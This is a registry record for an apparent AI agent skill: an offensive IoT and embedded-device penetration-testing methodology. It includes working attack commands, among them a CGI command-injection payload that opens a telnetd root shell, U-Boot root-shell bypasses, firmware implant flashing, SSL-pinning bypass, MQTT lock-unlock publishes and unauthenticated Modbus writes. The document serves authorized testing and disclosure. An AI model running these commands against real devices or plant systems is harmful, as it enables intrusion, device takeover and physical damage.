{"id":"offensive-iot","name":"offensive-iot","summary":"IoTおよび組み込みデバイスのセキュリティテスト手法。","body":"# IoT & Embedded — Offensive Testing Methodology\n\n## Quick Workflow\n\n1. **Recon the device physically** — identify SoC, flash, debug interfaces, radios\n2. **Get the firmware** — vendor download, OTA capture, hardware dump, or chip-off\n3. **Unpack and analyze** — filesystems, services, secrets, default creds, vuln components\n4. **Establish runtime access** — UART shell, telnet/SSH default creds, exploit chain\n5. **Pivot** — to companion app, cloud API, neighboring devices via mesh / wireless\n\n---\n\n## Hardware Reconnaissance\n\n### PCB Inspection\n\n- ID the **SoC** by markings (Realtek, Mediatek, Espressif, Broadcom, Allwinner, NXP, STM32, etc.)\n- ID **flash** (8-pin SOIC = SPI NOR; BGA = eMMC; TSOP = NAND)\n- Find **debug headers**: TX/RX/GND/VCC pads (UART), 4–10 pin (JTAG), 4 pin (SWD)\n- Find test points labeled `TX`, `RX`, `TCK`, `TMS`, `TDO`, `TDI`, `RST`, `BOOT`\n\n### Tools\n\n| Tool | Use |\n|------|-----|\n| Multimeter | Identify GND, VCC rails before connecting |\n| Logic analyzer (Saleae, DSLogic) | Find UART baud, SPI clock, identify protocols |\n| USB-UART (FT232, CP2102) | UART console |\n| Bus Pirate / Glasgow | UART, SPI, I2C, JTAG generic |\n| J-Link / Black Magic Probe | JTAG / SWD MCU debugging |\n| CH341A programmer | Cheap SPI flash dumper |\n| XGecu T48 | Modern universal programmer (NAND/eMMC/SPI) |\n| ChipQuik / hot-air | Chip-off desolder |\n\n### UART Discovery\n\n```bash\n# Find baud rate\nfor b in 9600 19200 38400 57600 115200 230400 460800 921600; do\n  echo \"=== $b ===\"\n  timeout 5 minicom -b $b -D /dev/ttyUSB0 -C uart_$b.log\ndone\ngrep -l -E \"U-Boot|Linux|Bootloader|console|login\" uart_*.log\n```\n\nLook for: U-Boot console (often `Hit any key` countdown), Linux init messages, root shell on console, login prompt.\n\n### Bootloader Console Drop\n\n```\n# At U-Boot countdown, mash space or key listed\nHit any key to stop autoboot:  0\n=> printenv                   # full env, often includes boot args\n=> setenv bootargs ${bootargs} init=/bin/sh\n=> boot                       # Linux comes up to root shell, no login\n```\n\nIf U-Boot is locked, try:\n- `CONFIG_DELAY_AUTOBOOT_KEYED` keyword (vendor-specific)\n- `Ctrl+C` / `Ctrl+B` / specific magic strings\n- Glitch the U-Boot version-check / signature-check (see Fault Injection)\n\n---\n\n## Flash Dumping\n\n### SPI NOR (most common consumer IoT)\n\n```bash\n# In-circuit dump (hold SoC in reset to avoid bus contention)\nflashrom -p ch341a_spi -r firmware.bin\n\n# Verify\nfile firmware.bin && binwalk firmware.bin\n```\n\nIf the SoC fights you: desolder the SPI chip, dump in socket, re-solder.\n\n### eMMC / NAND\n\neMMC is desolder-then-read: BGA-153/169 to SD adapter (cheap eBay), use a USB SD reader.\n\nNAND requires bit-flipping and ECC handling — `nanddump`/`yaffshiv`/`ubireader` post-extraction.\n\n### OTA Capture\n\nMany devices fetch firmware over HTTP(S). MITM the device:\n\n```bash\n# Captive AP + transparent proxy\nsudo create_ap wlan0 eth0 IoTLab\nmitmproxy --mode transparent --showhost --ssl-insecure\n# Or for non-SNI / pinning, use bettercap with custom DNS\n```\n\nCapture the URL, download directly, dissect.\n\n---\n\n## Firmware Analysis\n\n### Initial Triage\n\n```bash\nbinwalk -Me firmware.bin           # Extract recursively\nbinwalk -E firmware.bin            # Entropy plot — flat = encrypted/compressed\nstrings firmware.bin | grep -iE \"(passwd|key|token|admin|http|ssid)\"\n```\n\n### Filesystem Mounting\n\n```bash\n# SquashFS (most consumer Linux IoT)\nunsquashfs -d rootfs squashfs.bin\n\n# JFFS2 / UBIFS (NAND-backed)\njefferson jffs2.bin -d rootfs\nubireader_extract_files ubi.bin -o rootfs\n```\n\n### Embedded-Linux Quick Wins\n\n```bash\n# Hardcoded credentials and keys\ngrep -RIE \"(BEGIN (RSA |DSA |EC )?PRIVATE KEY|api[_-]?key|secret|token|passwd|root:[^*])\" rootfs/\nfind rootfs -name \"*.pem\" -o -name \"*.key\" -o -name \"shadow\"\n\n# Telnet/SSH default creds\ncat rootfs/etc/passwd rootfs/etc/shadow\ngrep -r \"telnetd\" rootfs/etc/init.d\ngrep -r \"dropbear\\|sshd\" rootfs/\n\n# Setuid binaries\nfind rootfs -perm -4000 -type f\n\n# Vulnerable busybox / dropbear / openssl versions\nrootfs/bin/busybox 2>&1 | head -1\nstrings rootfs/sbin/dropbear | grep \"Dropbear v\"\nstrings rootfs/usr/lib/libssl* | grep \"OpenSSL \"\n\n# Web admin: lighttpd / mini_httpd / boa / GoAhead — known CVE goldmine\nfind rootfs -name \"lighttpd*\" -o -name \"boa\" -o -name \"goahead\" -o -name \"mini_httpd\"\n```\n\n### CGI / Web Admin Auditing\n\nGoAhead, Boa, mini_httpd — abandoned codebases, command injection on every other CGI parameter.\n\n```bash\n# Disassemble a CGI\nfile rootfs/www/cgi-bin/setup.cgi\n# Often plain ELF MIPS/ARM — analyze in Ghidra\nghidra-headlessAnalyzer -import rootfs/www/cgi-bin/setup.cgi\n```\n\nCommon patterns:\n- `system()` / `popen()` with concatenated query string args\n- `sprintf` then `system` — easy command injection\n- Auth check via comparing cookie to plaintext file (race / replay)\n\n---\n\n## Runtime Exploitation\n\n### Console / Telnet Default Creds\n\nTry (per device class): `admin/admin`, `root/root`, `root/<empty>`, `admin/password`, `support/support`, `cisco/cisco`, vendor brand as user/pass. **Always try `root/<serial number>`** — many vendors use a per-device default.\n\n### Web Admin Command Injection\n\n```http\nPOST /goform/setSysAdm\nCookie: SESSIONID=...\nadmin_user=admin&admin_pwd=password;telnetd -l /bin/sh -p 4444;\n```\n\n### MTD Writes (re-flash from runtime)\n\nIf you have a root shell:\n\n```bash\ncat /proc/mtd          # list partitions\nmtd_debug erase /dev/mtd2 0 0x10000\nmtd_debug write /dev/mtd2 0 0x10000 implant.bin\n```\n\n### /dev/mem\n\nOn older kernels without `CONFIG_STRICT_DEVMEM`, `/dev/mem` is read/write to physical memory — full system compromise from any root context.\n\n---\n\n## Bootloader / Secure Boot Attacks\n\n### U-Boot Quick Bypasses\n\n- `setenv bootargs ${bootargs} init=/bin/sh`\n- `setenv preboot 'echo 1 > /sys/...'` (run command before kernel)\n- `tftpboot` — load attacker kernel from network\n- `bootm` of a memory-resident image you `loadb`-uploaded over UART\n\n### Secure Boot\n\nModern devices verify signed bootloaders / kernels. Bypass paths:\n\n- **Downgrade**: flash an older signed image with known kernel-level CVE\n- **Rollback bypass**: anti-rollback fuses not blown → flash older signed\n- **Key extraction**: dump the OTP / fuse contents via vendor tooling, recover signing key\n- **Fault injection**: glitch the signature-check instruction (see below)\n\n### Fault Injection (Voltage / Clock Glitching)\n\n```\nTools: ChipWhisperer-Lite/Husky, PicoEMP, custom MOSFET crowbar\nTarget: NAND/eMMC bootrom signature check, U-Boot env-protection check, OTP read\nProcedure:\n  1. Locate target instruction window via UART timing or power trace\n  2. Apply glitch (V drop / EM pulse) at that offset\n  3. Sweep delay and width; success = corrupted check, accepted unsigned image\n```\n\n---\n\n## RTOS Targets\n\n| RTOS | Notes |\n|------|-------|\n| FreeRTOS | Single binary, no MMU often → stack overflow → straight RIP control |\n| Zephyr | MMU/MPU optional; verify isolation actually enabled |\n| ThreadX | Microsoft now, mostly closed |\n| MicroEJ / Mbed OS | Java/C mix — type confusion and JNI bridges |\n| ESP-IDF (Espressif) | Wi-Fi/BLE stacks, OTA chain, secure boot v2 |\n| QNX | Older versions: pdebug shell on serial = root |\n\n### MCU Reverse Engineering\n\n```bash\n# Read protected MCU via SWD / JTAG (if RDP not set)\nopenocd -f interface/jlink.cfg -f target/stm32f4x.cfg \\\n  -c \"init; halt; flash read_bank 0 fw.bin 0 0x100000; exit\"\n\n# SAM-BA on Atmel SAM\nsam-ba -p \\\\.\\COM3 -d at91sam7s256 -a \"read_flash(0,0x40000,fw.bin)\"\n\n# Ghidra / Binary Ninja with appropriate processor module (ARM Cortex-M, ESP32 Xtensa, AVR, MSP430)\n```\n\n---\n\n## Wireless Protocols\n\n### Bluetooth Low Energy (BLE)\n\n```bash\n# Discover and enumerate\nbettercap -eval \"ble.recon on; events.show 60; ble.show\"\n\n# GATT introspection\ngatttool -b AA:BB:CC:DD:EE:FF -I\n> connect\n> primary\n> char-desc\n> char-read-uuid <uuid>\n> char-write-req <handle> <hex>\n```\n\nAttack surface: characteristic write without auth, pairing downgrade (\"Just Works\" forced), session key reuse, app-side TLS-equivalent missing.\n\n### Zigbee / Thread / Matter\n\n```bash\n# Sniff with TI CC2531 / CC2540 / Sonoff Zigbee Dongle E\nzbstumbler -i 0\nzbdump -c 11 -w zigbee.pcap\n\n# KillerBee — replay, scapy-dot15d4 for fuzzing\nzbreplay -f zigbee.pcap -i 0\n```\n\nTouchlink commissioning: known transport key in the wild (`0x9F559A553B7A6B2C…`) — many consumer devices accept Touchlink commissioning from any nearby radio.\n\n### Z-Wave\n\nS0 security uses fixed network-key derivation; S2 fixes this. Older bulbs / locks still on S0 are attackable with `Z-Force` / `EZ-Wave`.\n\n### LoRaWAN\n\n- ABP-provisioned devices: keys flashed once and never rotated\n- Join-request replay if frame counters reset\n- `LoRaPWN`, `ChirpStack` for analysis\n\n### Sub-GHz (433 / 868 / 915 MHz)\n\n```bash\n# HackRF / RTL-SDR\nrtl_433 -f 433.92M -A   # auto-decoder for many devices\ngqrx                     # interactive\n\n# Capture, analyze in Inspectrum, replay with hackrf_transfer\n```\n\nTargets: garage doors (KeeLoq rolling-code analysis), smart plugs (fixed code = easy replay), tire-pressure monitors (TPMS spoofing), industrial telemetry.\n\n---\n\n## ICS / OT Protocols\n\n### Modbus\n\n```python\nfrom pymodbus.client import ModbusTcpClient\nc = ModbusTcpClient('10.0.0.5', port=502)\nc.read_holding_registers(0, count=20, slave=1)\nc.write_register(40, 1, slave=1)    # No auth in the protocol\n```\n\n### BACnet (Building Automation)\n\n```bash\n# UDP/47808\nbacnet-stack/who-is 10.0.0.0/24\n# Read property without auth in many deployments\n```\n\n### OPC-UA\n\nModern OPC-UA has security profiles; many deployments use `None` for compatibility. Test:\n- Anonymous browsing of address space (information disclosure)\n- Username/password endpoints with weak creds\n- Cert-based but with self-signed accepted\n\n### S7 (Siemens)\n\nSnap7 library; PLC start/stop, DB read/write commands historically unauthenticated. Stuxnet's surface.\n\n---\n\n## MQTT / CoAP\n\n### MQTT Anonymous Subscribe\n\n```bash\nmosquitto_sub -h target.broker -t '#' -v\n# # = wildcard, prints every retained message → secrets, sensor data, control topics\nmosquitto_pub -h target.broker -t cmd/lock/+/unlock -m '1'\n```\n\nMany cloud brokers don't restrict topic ACL by default — connect with empty creds, subscribe `#`, replay device commands.\n\n### CoAP\n\n```bash\ncoap-client -m get coap://device/.well-known/core\ncoap-client -m put coap://device/relay/0 -e '1'\n```\n\nDTLS often misconfigured (PSK in firmware, no rotation).\n\n---\n\n## Companion Mobile App / Cloud API\n\nMost IoT vulns today live in the **cloud + companion app pair**, not the device itself.\n\n```bash\n# Decompile Android companion\napktool d Vendor.apk -o app\njadx -d app_src Vendor.apk\n\n# Look for: API base URL, signing keys, MQTT broker creds, device-claim flow\ngrep -rE \"(api\\.vendor|broker|amazonaws|azure|firebase|s3\\.)\" app_src/\n\n# Patch SSL pinning (frida)\nfrida -U -l ssl-pin-bypass.js -f com.vendor.app\n```\n\nTest the cloud API for:\n- Device claim by serial number alone (steal devices already shipped)\n- IDOR on `/devices/<id>` endpoints\n- Live-stream URLs without auth (RTSP / WebRTC tokens)\n- Firmware signing endpoint accepting attacker-uploaded blobs (rare but devastating)\n\n---\n\n## Pivoting Across Devices\n\n- Compromise one device on the LAN → ARP/DHCP poison neighbors\n- Mesh-protocol bridges (Zigbee coordinator, Z-Wave hub) → adjacent device control\n- BLE central role swap → talk directly to peripherals as the legitimate hub\n- Cloud account compromise → all devices linked to the account simultaneously\n\n---\n\n## Reporting Hooks\n\nFor each finding capture:\n- **Affected scope**: model, firmware version, region, serial-number range if known\n- **Reproducer**: physical or remote, time-to-exploit\n- **Pre-conditions**: physical access? same network? authenticated cloud account?\n- **Post-conditions**: persistent? cross-device? cloud-side?\n- **Vendor disclosure path**: PSIRT contact, ICS-CERT, MITRE for CVE assignment\n\n---\n\n## Engagement Checklist\n\n```\n[ ] Photo PCB top + bottom; identify SoC, flash, radios\n[ ] Try UART at common bauds; capture boot log\n[ ] Pull SPI flash; binwalk -Me; identify rootfs\n[ ] Static review: creds, keys, vuln versions, CGI\n[ ] Boot the device; map services on ports\n[ ] Try default creds, web/CGI command injection\n[ ] Capture OTA traffic; analyze update flow\n[ ] Pair with companion app; intercept all traffic with TLS-bypass\n[ ] Map cloud API surface; test IDOR and device-claim\n[ ] For each radio: passive sniff, active probe, replay\n[ ] Document CVE-eligible findings; coordinate vendor disclosure\n```\n\n---\n\n## Key References\n\n- MITRE ATT&CK for ICS — TA0108 (Initial Access), TA0104 (Execution)\n- OWASP ISVS / IoT Top 10\n- Embedded Security CTF (microcorruption.com) — practice MCU exploitation\n- IoT Hackers Handbook (Aditya Gupta) — canonical methodology\n- CISA ICS-CERT advisory feed\n- Source: https://github.com/SnailSploit/offensive-checklist/blob/main/iot-embedded.md","author":"@SnailSploit","ownerProfile":null,"authorContacts":null,"sourceUrl":"https://github.com/SnailSploit/Claude-Red/tree/main/Skills/iot/offensive-iot","license":"MIT","category":"testing","lang":"en","tokens":3613,"stars":0,"calls30d":1,"claimed":false,"visibility":"public","origin":"crawler","version":"0.1.0","createdAt":"2026-08-22","updatedAt":"2026-08-22","files":[],"requires":{"mcp":[],"tools":[]},"safety":{"flags":[],"scannedAt":"2026-08-22","hasScripts":false,"networkEndpoints":[]}}